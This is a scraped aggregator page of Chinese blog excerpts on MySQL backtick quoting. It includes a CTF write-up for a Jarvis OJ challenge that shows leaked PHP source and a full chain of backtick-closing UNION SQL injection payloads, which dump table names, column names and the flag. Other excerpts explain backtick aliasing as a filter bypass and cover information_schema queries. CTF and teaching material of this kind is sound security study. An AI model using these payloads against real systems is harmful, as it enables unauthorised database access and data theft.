精华内容
下载资源
问答
  • SQL注入--反引号

    2021-01-21 03:42:07
    反引号是个比较特别的字符,下面记录下怎么利用0x00 SQL注入反引号可利用在分隔符及注释作用,不过使用范围只于表名、数据库名、字段名、起别名这些场景,下面具体说下1)表名payload:select * from `users` where ...

    反引号是个比较特别的字符,下面记录下怎么利用

    0x00 SQL注入

    反引号可利用在分隔符及注释作用,不过使用范围只于表名、数据库名、字段名、起别名这些场景,下面具体说下

    1)表名

    payload:select * from `users` where user_id=1 limit 0,1;

    2a2c8e71f1e9443f9dd482424d5252e0.png

    可以正常执行的,这样使用还可以起到分隔符的作用,如下

    eg:select * from`users`where user_id=1 limit 0,1;

    2)数据库名

    payload:select * from `information_schema`.tables;

    f46d2b7071036e1b76b2173e13953acf.png

    3)字段名

    payload:select * from users where `user_id`=1 limit 0,1;

    36d4acbecd174512bc0fc91eebbe0bb5.png

    4)起别名

    payload:select user_id,user `111111` from users where user_id=1 limit 0,1;

    e763afa3a95418b7c852da24b6bd26c3.png

    反引号注释符原理

    上面说了反引号的使用,下面来看看具体是怎么使用来进行绕过SQL检测的

    主要用的就是起别名这个,这个运用范围比较窄

    如果不闭合反引号,则后面的所有都会成为别名

    eg:select 1,2 `111111 from users where user_id=1 limit 0,1;

    99c385c25d640bed13e5686d7d7c0385.png

    相当于注释的作用的,不过运用条件比较苛刻

    展开全文
  • 反引号闭合注入 通过反引号的闭合,可以构造SQL注入 mysqli_query ( $mysqli , "desc `secret_ { $table } `" ) or Hacker ( ) ; $sql = "select 'flag{xxx}' from secret_ { $table } " ; $ret =...
    题目链接 :http://web.jarvisoj.com:32794/
    

    描述

    进入页面,发现只有 flag{xxx}
    题目hint:先找到源码~

    源码泄露

    • 使用后台目录扫描工具御剑进行后台扫描
    源码泄露:
    http://web.jarvisoj.com:32794/index.php~
    
    • F12查看器得到泄露的源码
    <?php
    require("config.php");
    $table = $_GET['table']?$_GET['table']:"test";
    $table = Filter($table);
    mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
    $sql = "select 'flag{xxx}' from secret_{$table}";
    $ret = sql_query($sql);
    echo $ret[0];
    ?>
    

    代码分析

    $table = $_GET['table']?$_GET['table']:"test";`
    
    • 当未输入table参数时,table的值默认为test
    • 当输入了table的参数时,table的值为输入的值
    $table = Filter($table);
    
    • 对变量$table进行过滤,Filter函数为用户自定义的函数
    mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
    
    • 当mysqli_query()函数能够通过,则不调用Hacker()函数
    • 当mysqli_query()函数调用失败,则调用Hacker()函数
    $sql = "select 'flag{xxx}' from secret_{$table}";
    $ret = sql_query($sql);
    echo $ret[0];
    
    • 定义sql语句并执行,且只输出查询语句的第一条

    测试

    • 当令table=test
    http://web.jarvisoj.com:32794/index.php?table=test
    

    页面返回正常,flag{xxx}

    • 当令table为其他值,比如table=123
    http://web.jarvisoj.com:32794/index.php?table=123
    

    页面返回 Hello Hacker

    从源码分析可知

    //源码
    <?php
    require("config.php");
    $table = $_GET['table']?$_GET['table']:"test";
    $table = Filter($table);
    mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
    $sql = "select 'flag{xxx}' from secret_{$table}";
    $ret = sql_query($sql);
    echo $ret[0];
    ?>
    

    当table=test时,页面返回flag{xxx}

    mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
    

    因此该条语句没有跳转到Hacker(),而是执行了mysqli_query()函数
    而反过来,当table为其他值时,mysqli_query()函数执行失败,从而执行了Hacker()

    Key

    观察可知,输入的table参数被desc 使用进行降序排序
    并且,desc后使用的是 ` (反引号) 位于键盘Esc正下方

    mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
    $sql = "select 'flag{xxx}' from secret_{$table}";
    $ret = sql_query($sql);
    
    • 关于反引号
    反引号 ` 在mysql中是为了区分mysql中的保留字符与普通字符而引入的符号
    

    例如,如果test表中存在一个"from"字段,当我们查找内容时,就需要使用反引号,以防使用保留字符而报错

    select  `from` from test 
    
    • 关于desc查看表结构
    desc tablename  #查看table的结构信息
    

    例如,使用desc查看users表的结构

    desc users
    

    因此,如果desc 后接的表不存在,则返回失败

    • 由此可知
      当table=test时,由于库中存在secret_test表,因此mysqli_query()函数返回成功,继续向下执行,从而输出了flag{xxx}
      当table=123时,因为库中不存在secre_123表,因此跳转hacker()函数结束程序

    反引号闭合注入

    通过反引号的闭合,可以构造SQL注入

    mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
    $sql = "select 'flag{xxx}' from secret_{$table}";
    $ret = sql_query($sql);
    

    构造payload,测试当前数据库名称

    payload: ?table=test` ` union select database()
    

    相当于

    mysqli_query($mysqli,"desc `secret_test` ` union select database()`") or Hacker();
    $sql = "select 'flag{xxx}' from secret_test` ` union select database()";
    $ret = sql_query($sql);
    echo $ret[0];
    

    这样,desc secret_test能够执行通过,并且下面的sql语句可以查询数据库
    Tip1: 在第二条sql语句中,两个反引号就相当于了空格
    Tip2: 注意到最后页面只输出数组变量ret的第0位,而第0位恒为flag{xxx},所以为了控制输出,可以使用limit 1,1来进行约束,使返回结果从第1位开始

    爆表名

    payload: ?table=test` ` union select group_concat(table_name) from information_shcema.tables where table_schema=database()limit 1,1
    

    查询到存在secret_flag,secret_test 两个表

    爆字段

    payload: ?table=test` `union select group_concat(column_name) from information_schema.columns where table_schema=database() limit 1,1
    

    查询到存在flagUwillNeverKnow,username 两个字段

    爆值

    payload: ?table=test` `union select group_concat(flagUwillNeverKnow) from secret_flag
    

    查询到flag{luckyGame~}

    总结

    1. desc + 表名 可以查询表的结构,同时也可以用来判断表是否存在
    2. 反引号 ` 在MySQL中用来区分保留字符与普通字符
    3. limit 关键字可以用来控制输出
    展开全文
  • 料青山看我应如是反引号用于表和列标识符,但仅在标识符是MySQL保留关键字时,或者当标识符包含空格字符或超出有限集的字符时才需要(见下文)。通常建议避免使用保留关键字尽可能作为列或表标识符,避免引用问题。单...

    2029199fad3df8d61d036cc406ca4c68.png

    料青山看我应如是

    反引号用于表和列标识符,但仅在标识符是MySQL保留关键字时,或者当标识符包含空格字符或超出有限集的字符时才需要(见下文)。通常建议避免使用保留关键字尽可能作为列或表标识符,避免引用问题。单引号应该用于VALUES()列表中的字符串值。MySQL也支持双引号用于字符串值,但单引号被其他RDBMS更广泛地接受,因此使用单引号而不是双引号是一个好习惯。MySQL还期望DATE和DATETIME文字值单引号为字符串'2001-01-01 00:00:00'。有关更多详细信息,请参阅日期和时间文字文档,特别是使用连字符-作为日期字符串中的段分隔符的替代方法。因此,使用您的示例,我将双引号PHP字符串并在值上使用单引号'val1', 'val2'。 NULL是一个MySQL关键字,一个特殊的(非)值,因此没有引用。这些表或列标识符都不是保留字或使用需要引用的字符,但我还是用反引号引用它们(稍后会详细介绍......)。NOW()不应引用RDBMS本机函数(例如,在MySQL中),尽管它们的参数受到已经提到的相同字符串或标识符引用规则的约束。反引号(`)表格和栏目───────────────────────────────────── ───────┐                      ↓↓↓↓↓↓↓↓↓↓↓↓$ query =“ INSERT INTO`table`(`id`,`col1`,`col2`,`date`,`updated`)                       VALUES(NULL,'val1','val2','2001-01-01',NOW()) “;                               ↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑ 不带引号的关键字────────││││││││││││││││││││││││││││││││││││││││││单引号(')字符串───────────────────────│││││││单引号(')DATE──────────────────────────────────────────────────────────────────────────── │不带引号的功能───────────────────────────────    可变插值变量的引用模式不会改变,但如果您打算直接在字符串中插入变量,则必须在PHP中使用双引号。只需确保已正确转义变量以便在SQL中使用。(建议使用支持预处理语句的API,以防止SQL注入)。//一些变量替换相同的东西//这里,变量表名称$ table是反引号和变量//在VALUES列表中是单引号 $ query =“INSERT INTO` $ table`(`id`,`col1`,`col2`,`date`)VALUES(NULL,'$ val1','$ val2','$ date')”;准备好的陈述使用准备好的语句时,请查阅文档以确定是否必须引用语句的占位符。PHP,PDO和MySQLi中最流行的API可以使用未加引号的占位符,其他语言中的大多数预处理语句API也是如此:// PDO example with named parameters, unquoted$query = "INSERT INTO `table` (`id`, `col1`, `col2`, `date`) VALUES (:id, :col1, :col2, :date)";// MySQLi example with ? parameters, unquoted$query = "INSERT INTO `table` (`id`, `col1`, `col2`, `date`) VALUES (?, ?, ?, ?)";需要在标识符中引用反引号的字符:根据MySQL文档,您不需要使用以下字符集引用(反引号)标识符:ASCII :( [0-9,a-z,A-Z$_]基本拉丁字母,数字0-9,美元,下划线)您可以使用超出该组的字符作为表或列标识符,例如包括空格,但是您必须引用(反引号)它们。

    展开全文
  • MySQL中反引号和单引号的区别与用法 MySql 中用一对反引号来标注 SQL 语句中的标识,如数据库名、表名、字段名等 引号则用来标注语句中所引用的字符型常量或日期/时间型常量,即字段值 例如: select * from `...

    MySQL中反引号和单引号的区别与用法

    1. MySql 中用一对反引号来标注 SQL 语句中的标识,如数据库名、表名、字段名
    2. 引号则用来标注语句中所引用的字符型常量或日期/时间型常量,即字段值
      例如:
    select * from `username` where `name`="peri0d"
    

    information_schema数据库

    information_schema数据数据库是MySQL自带的数据库,简单来说它存储着整个Mysql数据库的数据信息,其中就包含Mysql里面的所有库、表、字段的关系结构。

    1.SCHEMATA表的SCHEMA_NAME字段显示Mysql数据库中所有的库名

    select SCHEMA_NAME from information_schema.SCHEMATA
    

    2.TABLES表存储着所有的每个数据库每个表的结构

    select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA =你要获取表的数据库名
    

    3.COLUMNS表中存储字段的信息

    COLUMN_NAME是当前表下的字段。

    select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=获取字段的表
    

    预处理、预编译

    SQL 语句的执行处理
    1、即时 SQL
      一条 SQL 在 DB 接收到最终执行完毕返回,大致的过程如下:
      1. 词法和语义解析;
      2. 优化 SQL 语句,制定执行计划;
      3. 执行并返回结果;

    如上,一条 SQL 直接是走流程处理,一次编译,单次运行,此类普通语句被称作 Immediate Statements (即时 SQL)。

    2、预处理 SQL
      但是,绝大多数情况下,某需求某一条 SQL 语句可能会被反复调用执行,或者每次执行的时候只有个别的值不同(比如 select 的 where 子句值不同,update 的 set 子句值不同,insert 的 values 值不同)。如果每次都需要经过上面的词法语义解析、语句优化、制定执行计划等,则效率就明显不行了。
      所谓预编译语句就是将此类 SQL 语句中的值用占位符替代,可以视为将 SQL 语句模板化或者说参数化,一般称这类语句叫Prepared Statements
      预编译语句的优势在于归纳为:一次编译、多次运行,省去了解析优化等过程;此外预编译语句能防止 SQL 注入。

    预处理流程:

    SET @[a]='';									# 用于设置变量名和值
    PREPARE [stmt_name] FROM [preparable_stmt];	# 用于预备一个语句,并赋予名称,以后可以引用该语句
    EXECUTE [stmt_name];			 			# 执行语句
    {DEALLOCATE | DROP} PREPARE [stmt_name];	# 用来释放掉预处理的语句
    
    展开全文
  • php 单引号,双引号,反引号区别

    千次阅读 2017-04-13 22:01:12
    PHP中单引号,双引号,反引号具有不同的含义,最大的几项区别如下: 一、单引号中,任何变量($var)、特殊转义字符(如“\t \r \n”等)不会被解析,因此PHP的解析速度更快,转义字符仅仅支持“\’”和“\\”这样对单...
  • 到现在为止,我已经随机使用单引号,双引号和反引号而没有任何实际想法。例:$query = 'INSERT INTO table (id, col1, col2) VALUES (NULL, val1, val2)';此外,在上面的示例中,考虑table,col1,val1等可以是变量...
  • 在去年十月份的时候本菜参加了一场CTF比赛,有一道过滤了单引号的SQL注入当时并没有做出来,让我一直心心念念。今天在做CISCN2019 总决赛 EasyWeb题的时候受到了启发,终于解开了一个心头的包袱。先祭出当时比赛的原...
  • 单引号,双引号,反引号的区别

    千次阅读 2015-10-10 15:50:18
    PHP中单引号,双引号,反引号具有不同的含义,最大的几项区别如下: 一、单引号中,任何变量($var)、特殊转义字符(如“\t \r \n”等)不会被解析,因此PHP的解析速度更快,转义字符仅仅支持“\’”和“\\”这样对单...
  • Mysql注入总结(一)

    2021-01-18 23:38:54
    先来看看瞌睡龙的科普文章默认存在的数据库:mysql需要root权限读取information_schema在5以上的版本中存在测试是否存在注入方法假:表示查询是错误的 (MySQL 报错/返回页面与原来不同)真:表示查询是正常的 (返回...
  • 反引号-特辑

    2018-08-28 23:11:00
    反引号是个比较特别的字符,下面记录下怎么利用 0x00 SQL注入 反引号可利用在分隔符及注释作用,不过使用范围只于表名、数据库名、字段名、起别名这些场景,下面具体说下 1)表名 payload:select * from `users...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 9,935
精华内容 3,974
关键字:

反引号注入